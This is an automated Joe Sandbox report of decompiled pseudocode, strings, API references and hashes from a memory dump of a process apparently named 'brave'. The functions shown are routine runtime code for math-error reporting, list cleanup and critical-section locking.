				_t52 =  *_t80;
				if (_t52 == 0) goto 0x55e911f8;
				if ( *((long long*)(_t52 + 0x90)) != 0) goto 0x55e91220;
				 *((long long*)(_t52 + 0x90)) = 0x56132bc0;
				E00007FF77FF755E98830(0x56132bc0, _t76);
				_t53 =  *_t80;
				if (_t53 == 0) goto 0x55e91238;
				if ( *((long long*)(_t53 + 0x88)) == 0) goto 0x55e91260;
				_t55 =  *((intOrPtr*)( *((intOrPtr*)(_t53 + 0x88))));
				if (__rcx == _t55) goto 0x55e91348;
				if (_t55 == 0) goto 0x55e91348;
				_t56 =  *((intOrPtr*)(_t55 + 0x18));
				if (_t56 == 0) goto 0x55e91320;
				if (__rcx != _t56) goto 0x55e91190;
				_t39 = _t56;
				if (_t39 == 0) goto 0x55e91320;
				 *((intOrPtr*)(__rcx + 0x10)) =  *((intOrPtr*)(__rcx + 0x10)) - 1;
				if (_t39 == 0) goto 0x55e912b8;
				_t57 =  *_t80;
				if (_t57 == 0) goto 0x55e91280;
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0x55e91299;
				if (_t57 == 0) goto 0x55e9134f;
				_pop(_t81);
				goto E00007FF77FF755E98870;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0x55e91145;
				if ( *_t81 != 0) goto 0x55e91220;
				E00007FF77FF755E97060();
				E00007FF77FF755E98830( *((intOrPtr*)( *_t81 + 0x90)), _t76);
				_t59 =  *_t81;
				if (_t59 != 0) goto 0x55e91164;
				E00007FF77FF755E97060();
				_t60 =  *_t81;
				if ( *((long long*)(_t59 + 0x88)) == 0) goto 0x55e91260;
				if (_t60 != 0) goto 0x55e91172;
				E00007FF77FF755E97060();
				goto 0x55e91172;
				 *((long long*)(_t60 + 0x88)) = 0x56141388;
				goto 0x55e91179;
				asm("o16 nop [cs:eax+eax]");
				E00007FF77FF755E97060();
				if ( *0x7FF756141418 != 0) goto 0x55e911d4;
				 *((long long*)( *_t81 + 0x90)) = 0x56132bc0;
				_pop(_t68);
				_pop(_t82);
				_pop(_t89);
				goto E00007FF77FF755E98870;
				_t16 = _t89 + 8; // 0x8
				_t29 = E00007FF77FF755E909D0(_t16);
				if (_t68 == 0) goto 0x55e912dd;
				 *((long long*)(_t68 + 0x18)) =  *((intOrPtr*)(_t89 + 0x18));
				free(??);
				goto 0x55e911ba;
				_t64 =  *_t82;
				if (_t64 == 0) goto 0x55e91359;
				if ( *((long long*)(_t64 + 0x88)) != 0) goto 0x55e91378;
				 *((long long*)(_t64 + 0x88)) = 0x56141388;
				 *0x56141388 =  *((intOrPtr*)(_t89 + 0x18));
				goto 0x55e912d0;
				return _t29;
			}

0x7ff755e9111e
0x7ff755e91124
0x7ff755e9112b
0x7ff755e91131
0x7ff755e9113f
0x7ff755e9114c
0x7ff755e91153
0x7ff755e91158
0x7ff755e9115e
0x7ff755e9116c
0x7ff755e91179
0x7ff755e9117f
0x7ff755e91188
0x7ff755e91193
0x7ff755e9119a
0x7ff755e911a3
0x7ff755e911a5
0x7ff755e911a8
0x7ff755e911ae
0x7ff755e911b4
0x7ff755e911ba
0x7ff755e911c0
0x7ff755e911ce
0x7ff755e911d7
0x7ff755e911e9
0x7ff755e911ec
0x7ff755e911f8
0x7ff755e91208
0x7ff755e91211
0x7ff755e91213
0x7ff755e91227
0x7ff755e9122c
0x7ff755e91232
0x7ff755e91238
0x7ff755e91245
0x7ff755e91248
0x7ff755e9124d
0x7ff755e91253
0x7ff755e91258
0x7ff755e91267
0x7ff755e91271
0x7ff755e91276
0x7ff755e91280
0x7ff755e91293
0x7ff755e912a0
0x7ff755e912ab
0x7ff755e912ac
0x7ff755e912ad
0x7ff755e912af
0x7ff755e912b8
0x7ff755e912bd
0x7ff755e912c5
0x7ff755e912cc
0x7ff755e912d3
0x7ff755e912d8
0x7ff755e912dd
0x7ff755e912e3
0x7ff755e912ed
0x7ff755e912fa
0x7ff755e91309
0x7ff755e9130c
0x7ff755e91318

Strings

%p not found?!?!, xrefs: 00007FF755E9132E

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %p not found?!?!
API String ID: 0-11085004
Opcode ID: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction ID: 29a49bf8a4c73ada62b6f5cd647a93cf2ca04cbe6a95f277259b6631beacd423
Opcode Fuzzy Hash: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction Fuzzy Hash: 80511E29E0A72680FE69BB55EA513B992B4AF44F88FCD4575CA4C4A391DF3CA484D330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E530 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF755E8E530() {
				intOrPtr* _t8;

				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x50], xmm7");
				asm("inc esp");
				if ( *_t8 - 6 > 0) goto 0x55e8e61c;
				goto __rax;
			}

0x7ff755e8e536
0x7ff755e8e53b
0x7ff755e8e540
0x7ff755e8e549
0x7ff755e8e55f

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597
Unknown error, xrefs: 00007FF755E8E61C

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction ID: eb8878e72157512a049e7d3d9aa93467780c79ebe70cf0fd834220a560a6d098
Opcode Fuzzy Hash: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction Fuzzy Hash: 0701A962908ED8C1D6069F1CE8011FAB375FF99B5AF985321EA8D1A264DF29D543C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8E610() {

				goto 0x55e8e56f;
				goto 0x55e8e56f;
				0;
				return 0;
			}

0x7ff755e8e617
0x7ff755e8e623
0x7ff755e8e62e
0x7ff755e8e632

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

Total loss of significance (TLOSS), xrefs: 00007FF755E8E610
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction ID: f8b5b16c5e41b286d16bd08aa4cc6f675113c216744288823d4ec229b01ef8a2
Opcode Fuzzy Hash: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction Fuzzy Hash: 4EF06256908E9882D6029F2CE8001FBB375FF8DB9DF9C5325EE8D2A564DF28D5428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E600 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8E600() {

				goto 0x55e8e56f;
				goto 0x55e8e56f;
				0;
				return 0;
			}

0x7ff755e8e617
0x7ff755e8e623
0x7ff755e8e62e
0x7ff755e8e632

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF755E8E600

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction ID: b64ace5d05e4cd69bcd8b5cde0961b3549d86a3f281dce24fc18dd198bb0ab9e
Opcode Fuzzy Hash: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction Fuzzy Hash: 17F06256908E9882D6069F2CE8001FBB375FF8DB9DF9C5325EE8D2A164DF28D5428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E5F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8E5F0() {

				goto 0x55e8e56f;
				goto 0x55e8e56f;
				0;
				return 0;
			}

0x7ff755e8e617
0x7ff755e8e623
0x7ff755e8e62e
0x7ff755e8e632

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597
Overflow range error (OVERFLOW), xrefs: 00007FF755E8E5F0

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction ID: 7eefd7a3471b0758efc6305abedd8275d3c36e7dd0e65c3d009f820396191bb6
Opcode Fuzzy Hash: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction Fuzzy Hash: 64F06856908E9882D6019F1CE8001FBB374FF8DB9DF9C5325EE8D2A574DF18D5429710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8E5E0() {

				goto 0x55e8e56f;
				goto 0x55e8e56f;
				0;
				return 0;
			}

0x7ff755e8e617
0x7ff755e8e623
0x7ff755e8e62e
0x7ff755e8e632

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF755E8E5E0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction ID: efbc294f90486ef74f8b1cd287ab38021d65dc869e015a3cf5d20193229905a5
Opcode Fuzzy Hash: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction Fuzzy Hash: 9AF06256908E9882D6029F2CE8001FBB374FF8DB9DF9C5325EE8D2A574DF28D5429710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8E5D0() {

				goto 0x55e8e56f;
				goto 0x55e8e56f;
				0;
				return 0;
			}

0x7ff755e8e617
0x7ff755e8e623
0x7ff755e8e62e
0x7ff755e8e632

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

Argument domain error (DOMAIN), xrefs: 00007FF755E8E5D0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction ID: 13de933067ed97267f6b5d5cc3ada0f5d261414c70042b7f951cfcff1f7cc1b9
Opcode Fuzzy Hash: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction Fuzzy Hash: 49F06256908E9882D6029F2CE8001FBB374FF8DB9DF9C5325EE8D2A574DF28D5429710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E568 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF755E8E5B0

Strings

Argument singularity (SIGN), xrefs: 00007FF755E8E568
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF755E8E597

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction ID: 3112750eb3a61f85f221b00a4bc57b7af8bc587efd2aeec93349fb46378819eb
Opcode Fuzzy Hash: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction Fuzzy Hash: 94F06216904E9882D6029F2CE8001ABB375FF8DB9AF585325EE8D2A124DF28D5428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E99550 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E99550(intOrPtr* __rcx) {
				intOrPtr* _t6;

				if (__rcx == 0) goto 0x55e995f0;
				_t6 =  *((intOrPtr*)(__rcx));
				if (_t6 == 0) goto 0x55e995f0;
				if (_t6 == 0xffffffff) goto 0x55e99660;
				if ( *_t6 == 0xc0bab1fd) goto 0x55e99590;
				return 0x16;
			}

0x7ff755e9955c
0x7ff755e99562
0x7ff755e99568
0x7ff755e99572
0x7ff755e99583
0x7ff755e9958e

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF755E99597
LeaveCriticalSection.KERNEL32 ref: 00007FF755E995C1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction ID: f27db770bbbd782b90c4891ab3ab6dff3ae5b20448c394ce41a384a8d564475d
Opcode Fuzzy Hash: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction Fuzzy Hash: A2316276A086428AEB54DF35944466AA3B0FB44F6CF9C4136CD298E394DF3CD885C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E99880 Relevance: 5.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF755E99880(intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t12;
				intOrPtr _t14;
				intOrPtr _t19;
				void* _t27;
				intOrPtr* _t28;

				_t19 =  *__rcx;
				_t28 = __rcx;
				EnterCriticalSection(??);
				_t14 =  *((intOrPtr*)(_t19 + 0xc));
				if (_t14 == 0) goto 0x55e99900;
				 *((intOrPtr*)(_t19 + 0xc)) = _t27 - 1;
				LeaveCriticalSection(??);
				if (_t14 != 1) goto 0x55e998da;
				if (E00007FF77FF755E98880(1,  *((intOrPtr*)(_t19 + 0xa8)), _t19 + 0x70, _t19 + 0x98) != 0) goto 0x55e998e7;
				_t12 = E00007FF77FF755E904E0( *((intOrPtr*)(_t28 + 8)));
				if (_t12 == 0) goto 0x55e998ed;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 0x10)))) = _t12;
				return _t12;
			}

0x7ff755e9988c
0x7ff755e99893
0x7ff755e99899
0x7ff755e9989f
0x7ff755e998a4
0x7ff755e998ac
0x7ff755e998af
0x7ff755e998b8
0x7ff755e998d8
0x7ff755e998de
0x7ff755e998e5
0x7ff755e998eb
0x7ff755e998f9

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF755E99899
LeaveCriticalSection.KERNEL32 ref: 00007FF755E998AF

Part of subcall function 00007FF755E98880: EnterCriticalSection.KERNEL32 ref: 00007FF755E98898
Part of subcall function 00007FF755E98880: ReleaseSemaphore.KERNEL32 ref: 00007FF755E988C6
Part of subcall function 00007FF755E98880: LeaveCriticalSection.KERNEL32 ref: 00007FF755E988D3

LeaveCriticalSection.KERNEL32 ref: 00007FF755E99913

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$ReleaseSemaphore
String ID:
API String ID: 3630377130-0
Opcode ID: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction ID: be25a99c06a3709c8a7710de27fee0e5d9f0642374d4acbbfb2096468507fcc5
Opcode Fuzzy Hash: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction Fuzzy Hash: C731603AA0461296E760AF36D9106A9B370FB85F9CF9C4135DE1D8B395DF38E485C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E99410 Relevance: 5.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E99410(intOrPtr* __rcx) {
				intOrPtr* _t6;

				if (__rcx == 0) goto 0x55e994a8;
				_t6 =  *((intOrPtr*)(__rcx));
